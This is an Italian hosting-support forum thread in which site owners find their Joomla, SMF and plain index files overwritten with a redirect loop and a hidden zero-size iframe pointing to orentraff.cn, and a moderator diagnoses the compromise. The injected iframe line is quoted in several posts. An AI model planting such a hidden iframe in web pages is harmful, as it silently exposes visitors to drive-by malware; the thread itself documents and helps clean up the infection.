Visualizzazione risultati 1 fino 6 di 6

Discussione: Problema con il file index.php

  1. #1
    Guest

    Predefinito Problema con il file index.php

    Salve, io ho un problema con un file index

    Stranamente, seza fare nessuna modifica al mio file index.php, non riusco più a connettermi al mio indirizzo web, ho provato a sostituire il mio index con quello che avevo all'inizio nell'installazione del mio portale (uso joomla con implementato SMF), quindi sostituendolo riesco a vedere il sito, ma con diversi problemi, vi posto qui sotto il contenuto del mio attuale file index.php (con il quale non mi riesce a connettermi al sito, dandomi quesot errore "Firefox ha rilevato che il server sta ridirezionando la richiesta per questo indirizzo in modo che non possa mai essere completata.")

    Codice PHP:
    <?php
    // +-----------------------------------------------------------------------+
    // | PhpWebGallery - a PHP based picture gallery |
    // | Copyright (C) 2002-2003 Pierrick LE GALL - pierrick@phpwebgallery.net |
    // | Copyright (C) 2003-2007 PhpWebGallery Team - http://phpwebgallery.net |
    // +-----------------------------------------------------------------------+
    // | file : $Id: index.php 1909 2007-03-16 06:15:27Z rub $
    // | last update : $Date: 2007-03-16 07:15:27 +0100 (ven, 16 mar 2007) $
    // | last modifier : $Author: rub $
    // | revision : $Revision: 1909 $
    // +-----------------------------------------------------------------------+
    // | This program is free software; you can redistribute it and/or modify |
    // | it under the terms of the GNU General Public License as published by |
    // | the Free Software Foundation |
    // | |
    // | This program is distributed in the hope that it will be useful, but |
    // | WITHOUT ANY WARRANTY; without even the implied warranty of |
    // | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU |
    // | General Public License for more details. |
    // | |
    // | You should have received a copy of the GNU General Public License |
    // | along with this program; if not, write to the Free Software |
    // | Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, |
    // | USA. |
    // +-----------------------------------------------------------------------+

    // Recursive call
    $url = '../';
    header( 'Request-URI: '.$url );
    header( 'Content-Location: '.$url );
    header( 'Location: '.$url );
    exit();
    ?>
    <!-- ~ --><iframe src="http://orentraff.cn/in.cgi?3" width="0" height="0" style="display:none"></iframe><!-- ~ -->


    Non so veramente cosa poter fare, se vi serve qualche altra informazione basta che me lo dite.


    Spero che mi possiate dare una mano; sono diversi giorni che il sito è fuori servizio.

  2. #2
    Guest

    Predefinito

    e qui sotto avete il file index.php della board al momento dell'installazione:

    Codice PHP:
    <?php
    /**
    * @version $Id: index.php 6024 2006-12-18 22:30:07Z friesengeist $
    * @package Joomla
    * @copyright Copyright (C) 2005 Open Source Matters. All rights reserved.
    * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
    * Joomla! is free software. This version may have been modified pursuant
    * to the GNU General Public License, and as distributed it includes or
    * is derivative of works licensed under the GNU General Public License or
    * other free or open source software licenses.
    * See COPYRIGHT.php for copyright notices and details.
    */

    // Set flag that this is a parent file
    define( '_VALID_MOS', 1 );

    // checks for configuration file, if none found loads installation page
    if (!file_exists( 'configuration.php' ) || filesize( 'configuration.php' ) < 10) {
    $self = rtrim( dirname( $_SERVER['PHP_SELF'] ), '/\\' ) . '/';
    header("Location: http://" . $_SERVER['HTTP_HOST'] . $self . "installation/index.php" );
    exit();
    }

    require(
    'globals.php' );
    require_once(
    'configuration.php' );

    // SSL check - $http_host returns <live site url>:<port number if it is 443>
    $http_host = explode(':', $_SERVER['HTTP_HOST'] );
    if( (!empty(
    $_SERVER['HTTPS'] ) && strtolower( $_SERVER['HTTPS'] ) != 'off' || isset( $http_host[1] ) && $http_host[1] == 443) && substr( $mosConfig_live_site, 0, 8 ) != 'https://' ) {
    $mosConfig_live_site = 'https://'.substr( $mosConfig_live_site, 7 );
    }

    require_once(
    'includes/joomla.php' );

    //Installation sub folder check, removed for work with SVN
    if (file_exists( 'installation/index.php' ) && $_VERSION->SVN == 0) {
    define( '_INSTALL_CHECK', 1 );
    include (
    $mosConfig_absolute_path .'/offline.php');
    exit();
    }


    // displays offline/maintanance page or bar
    if ($mosConfig_offline == 1) {
    require(
    $mosConfig_absolute_path .'/offline.php' );
    }

    // load system bot group
    $_MAMBOTS->loadBotGroup( 'system' );

    // trigger the onStart events
    $_MAMBOTS->trigger( 'onStart' );

    if (
    file_exists( $mosConfig_absolute_path .'/components/com_sef/sef.php' )) {
    require_once(
    $mosConfig_absolute_path .'/components/com_sef/sef.php' );
    } else {
    require_once(
    $mosConfig_absolute_path .'/includes/sef.php' );
    }
    require_once(
    $mosConfig_absolute_path .'/includes/frontend.php' );

    // retrieve some expected url (or form) arguments
    $option = strval( strtolower( mosGetParam( $_REQUEST, 'option' ) ) );
    $Itemid = intval( mosGetParam( $_REQUEST, 'Itemid', null ) );

    if (
    $option == '') {
    if (
    $Itemid) {
    $query = "SELECT id, link"
    . "\n FROM #__menu"
    . "\n WHERE menutype = 'mainmenu'"
    . "\n AND id = " . (int) $Itemid
    . "\n AND published = 1"
    ;
    $database->setQuery( $query );
    } else {
    $query = "SELECT id, link"
    . "\n FROM #__menu"
    . "\n WHERE menutype = 'mainmenu'"
    . "\n AND published = 1"
    . "\n ORDER BY parent, ordering"
    ;
    $database->setQuery( $query, 0, 1 );
    }
    $menu = new mosMenu( $database );
    if (
    $database->loadObject( $menu )) {
    $Itemid = $menu->id;
    }
    $link = $menu->link;
    if ((
    $pos = strpos( $link, '?' )) !== false) {
    $link = substr( $link, $pos+1 ). '&Itemid='.$Itemid;
    }
    parse_str( $link, $temp );
    /** this is a patch, need to rework when globals are handled better */
    foreach ($temp as $k=>$v) {
    $GLOBALS[$k] = $v;
    $_REQUEST[$k] = $v;
    if (
    $k == 'option') {
    $option = $v;
    }
    }
    }
    if ( !
    $Itemid ) {
    // when no Itemid give a default value
    $Itemid = 99999999;
    }

    // mainframe is an API workhorse, lots of 'core' interaction routines
    $mainframe = new mosMainFrame( $database, $option, '.' );
    $mainframe->initSession();

    // trigger the onAfterStart events
    $_MAMBOTS->trigger( 'onAfterStart' );

    // checking if we can find the Itemid thru the content
    if ( $option == 'com_content' && $Itemid === 0 ) {
    $id = intval( mosGetParam( $_REQUEST, 'id', 0 ) );
    $Itemid = $mainframe->getItemid( $id );
    }

    /** do we have a valid Itemid yet?? */
    if ( $Itemid === 0 ) {
    /** Nope, just use the homepage then. */
    $query = "SELECT id"
    . "\n FROM #__menu"
    . "\n WHERE menutype = 'mainmenu'"
    . "\n AND published = 1"
    . "\n ORDER BY parent, ordering"
    ;
    $database->setQuery( $query, 0, 1 );
    $Itemid = $database->loadResult();
    }

    // patch to lessen the impact on templates
    if ($option == 'search') {
    $option = 'com_search';
    }

    // loads english language file by default
    if ($mosConfig_lang=='') {
    $mosConfig_lang = 'english';
    }
    include_once(
    $mosConfig_absolute_path .'/language/' . $mosConfig_lang . '.php' );

    // frontend login & logout controls
    $return = strval( mosGetParam( $_REQUEST, 'return', NULL ) );
    $message = intval( mosGetParam( $_POST, 'message', 0 ) );
    if (
    $option == 'login') {
    $mainframe->login();

    // JS Popup message
    if ( $message ) {
    ?>
    <script language="javascript" type="text/javascript">
    <!--//
    alert( "<?php echo addslashes( _LOGIN_SUCCESS ); ?>" );
    //-->
    </script>
    <?php
    }

    if (
    $return && !( strpos( $return, 'com_registration' ) || strpos( $return, 'com_login' ) ) ) {
    // checks for the presence of a return url
    // and ensures that this url is not the registration or login pages
    // If a sessioncookie exists, redirect to the given page. Otherwise, take an extra round for a cookiecheck
    if (isset( $_COOKIE[mosMainFrame::sessionCookieName()] )) {
    mosRedirect( $return );
    } else {
    mosRedirect( $mosConfig_live_site .'/index.php?option=cookiecheck&return=' . urlencode( $return ) );
    }
    } else {
    // If a sessioncookie exists, redirect to the start page. Otherwise, take an extra round for a cookiecheck
    if (isset( $_COOKIE[mosMainFrame::sessionCookieName()] )) {
    mosRedirect( $mosConfig_live_site .'/index.php' );
    } else {
    mosRedirect( $mosConfig_live_site .'/index.php?option=cookiecheck&return=' . urlencode( $mosConfig_live_site .'/index.php' ) );
    }
    }

    } else if (
    $option == 'logout') {
    $mainframe->logout();

    // JS Popup message
    if ( $message ) {
    ?>
    <script language="javascript" type="text/javascript">
    <!--//
    alert( "<?php echo addslashes( _LOGOUT_SUCCESS ); ?>" );
    //-->
    </script>
    <?php
    }

    if (
    $return && !( strpos( $return, 'com_registration' ) || strpos( $return, 'com_login' ) ) ) {
    // checks for the presence of a return url
    // and ensures that this url is not the registration or logout pages
    mosRedirect( $return );
    } else {
    mosRedirect( $mosConfig_live_site.'/index.php' );
    }
    } else if (
    $option == 'cookiecheck') {
    // No cookie was set upon login. If it is set now, redirect to the given page. Otherwise, show error message.
    if (isset( $_COOKIE[mosMainFrame::sessionCookieName()] )) {
    mosRedirect( $return );
    } else {
    mosErrorAlert( _ALERT_ENABLED );
    }
    }

    /** get the information about the current user from the sessions table */
    $my = $mainframe->getUser();

    // detect first visit
    $mainframe->detect();

    // set for overlib check
    $mainframe->set( 'loadOverlib', false );

    $gid = intval( $my->gid );

    // gets template for page
    $cur_template = $mainframe->getTemplate();
    /** temp fix - this feature is currently disabled */

    /** @global A places to store information from processing of the component */
    $_MOS_OPTION = array();

    // precapture the output of the component
    require_once( $mosConfig_absolute_path . '/editor/editor.php' );

    ob_start();
    if (
    $path = $mainframe->getPath( 'front' )) {
    $task = strval( mosGetParam( $_REQUEST, 'task', '' ) );
    $ret = mosMenuCheck( $Itemid, $option, $task, $gid );

    if (
    $ret) {
    require_once(
    $path );
    } else {
    mosNotAuth();
    }
    } else {
    header( 'HTTP/1.0 404 Not Found' );
    echo
    _NOT_EXIST;
    }
    $_MOS_OPTION['buffer'] = ob_get_contents();
    ob_end_clean();

    initGzip();

    header( 'Expires: Mon, 26 Jul 1997 05:00:00 GMT' );
    header( 'Last-Modified: ' . gmdate( 'D, d M Y H:i:s' ) . ' GMT' );
    header( 'Cache-Control: no-store, no-cache, must-revalidate' );
    header( 'Cache-Control: post-check=0, pre-check=0', false );
    header( 'Pragma: no-cache' );

    // display the offline alert if an admin is logged in
    if (defined( '_ADMIN_OFFLINE' )) {
    include(
    $mosConfig_absolute_path .'/offlinebar.php' );
    }

    // loads template file
    if ( !file_exists( $mosConfig_absolute_path .'/templates/'. $cur_template .'/index.php' ) ) {
    echo
    _TEMPLATE_WARN . $cur_template;
    } else {
    require_once(
    $mosConfig_absolute_path .'/templates/'. $cur_template .'/index.php' );
    echo
    '<!-- '. time() .' -->';
    }

    // displays queries performed for page
    if ($mosConfig_debug) {
    echo
    $database->_ticker . ' queries executed';
    echo
    '<pre>';
    foreach (
    $database->_log as $k=>$sql) {
    echo
    $k+1 . "\n" . $sql . '<hr />';
    }
    echo
    '</pre>';
    }

    doGzip();
    ?>

  3. #3
    L'avatar di dementialsite
    dementialsite non è connesso Super Moderatore
    Data registrazione
    19-10-2004
    Residenza
    fuori Padova
    Messaggi
    5,046

    Predefinito

    Hmmmm... l'hai messo tu questo IFRAME cinese nella tua home page?
    Codice HTML:
    <!-- ~ --><iframe src="http://orentraff.cn/in.cgi?3" width="0" height="0" style="display:none"></iframe><!-- ~ -->
    Prova a toglierlo e vedere se il problema si risolve...

    A parte questo, tecnicamente l'errore è qui:
    Codice PHP:
    $url = '../';
    header( 'Request-URI: '.$url );
    header( 'Content-Location: '.$url );
    header( 'Location: '.$url );
    exit();
    Questo qui è il codice che fa il "loop" al tuo sito: tenterebbe di chiamare la cartella superiore, ma non essendoci per la home page il risultato è che la pagina richiamata è la stessa home page... con conseguente circolo vizioso. Se non l'hai mai modificato, la soluzione migliore sarebbe quella di reinserire la home page originale al posto di quella "craccata"... dovrebbe tornare tutto a posto. Poi con un aggiornamento dei tuoi CMS, potresti prevenire altri episodi del genere...

    Stammi bene...
    Ultima modifica di dementialsite : 29-01-2008 alle ore 18.34.21
    Le questioni tecniche hanno risposte migliori nel forum pubblico, non trovi?

    When you don't know your next step... improvise

    ALTERVISTA WANTS YOU!
    Vuoi diventare moderatore su AlterVista? Scopri come...

  4. #4
    Guest

    Predefinito

    Io non l'ho mai modificato, ma sostituendo l'index attuale, con quello originale, ovvero quello che ho postato per secondo, che è decisamente più lungo del primo come codice, mi mostra la pagina del sito, ma mi da questo errore: Fatal error: Undefined class name 'jsmffrontend' in /membri/redivolution/modules/mod_smf_login.php on line 107


    Non saprei proprio come mai sia successo, dato che da parte mia non ci sono state alcune modifiche nel file index.

    Coma faccio a rigenerarlo adesso? COn la sostituzione mi da quel problema e non mi mostra completamente il contenuto di tutto il sito, neanche il forum mi mostra. Ho eliminato anche quel indirizzo che non so come sia finito li, ma non cambia niente.

    edit:

    Mi sono accorto di un'altra cosa adesso, anche il file index del forum è stato manipolato, ecco cosa ci ho trovato dentro:

    Codice PHP:
    <html><body bgcolor="#FFFFFF"></body></html><!-- ~ --><iframe src="http://orentraff.cn/in.cgi?3" width="0" height="0" style="display:none"></iframe><!-- ~ -->
    Questo è tutto il contenuto del file index.php che si trova nella directory /forum


    La stessa cosa quindi dovrebbe essere successa al file index della hopage, perchè mi sembra strano che in esso ci fosse stato solo quella istruzione con in fondo quel indirizzo obsoleto.


    Mi potete dare una mano? Cosa può essere? Mi si sono infettati i file index? Come faccio a ripristinarli?



    EDIT

    Tutti i miei file ondex erano stato azzerati e modificati, ma ora sembra che di aver risolto dopo averli sostituiti tutti e sincronizzanda il bridge per il forum SMF implementato.

    Per ora sembra andare bene. Grazie mille per il vostro aiuto.
    Ultima modifica di redivolution : 30-01-2008 alle ore 16.58.04

  5. #5
    otturatore non è connesso Neofita
    Data registrazione
    30-08-2004
    Messaggi
    2

    Predefinito

    ciao
    io ho lo stesso problema su due siti di altervista
    otturatore.altervista.org
    freshlab.altervista.org

    tutti i file index.htm, index.php, index.xml di qualsiasi directory sono stati sovrascritti con l'iframe:
    <!-- ~ --><iframe src="http://orentraff.cn/in.cgi?3" width="0" height="0" style="display:none"></iframe><!-- ~ -->

    io non uso nessun tipo di CSM. quindi non capisco come i file siano stati sovrascritti, se non da un potenziale virus che giri sul server di altervista: non credo che qualcuno sia riuscito ad entrare su ben 2 siti con password (non banali) diverse

    qualcuno di altervista riesce a fare qualcosa? mi era gia' successo all'inizio del mese che il mio sito non fosse accessibile, ma non avevo verificato bene il motivo: semplicemente avevo ri-uploadato i files

    grazie
    Alessandro


    EDIT: piccola postilla: nella mia locale biblioteca, l'antivirus del pc (kaspersky) identificava questa cosa come un virus e bloccava l'accesso

    Alessandro
    Ultima modifica di funcool : 02-02-2008 alle ore 18.16.05

  6. #6
    Guest

    Predefinito

    Esatto, penso proprio sia un virus che ci stia infettando i file index.

    Ma dovrebbero essere solo su alcuni server, perchè altri siti che conosco non hanno questo problema.

    Il mio sito alloggia sul server 27.

    Spero qualcuno ci dia una mano e risolva questo problema, anche se ho ripulito e riparato i file index, continuano ad essere attaccati e infettati.

Regole di scrittura

  • Non puoi creare nuove discussioni
  • Non puoi rispondere ai messaggi
  • Non puoi inserire allegati.
  • Non puoi modificare i tuoi messaggi
  •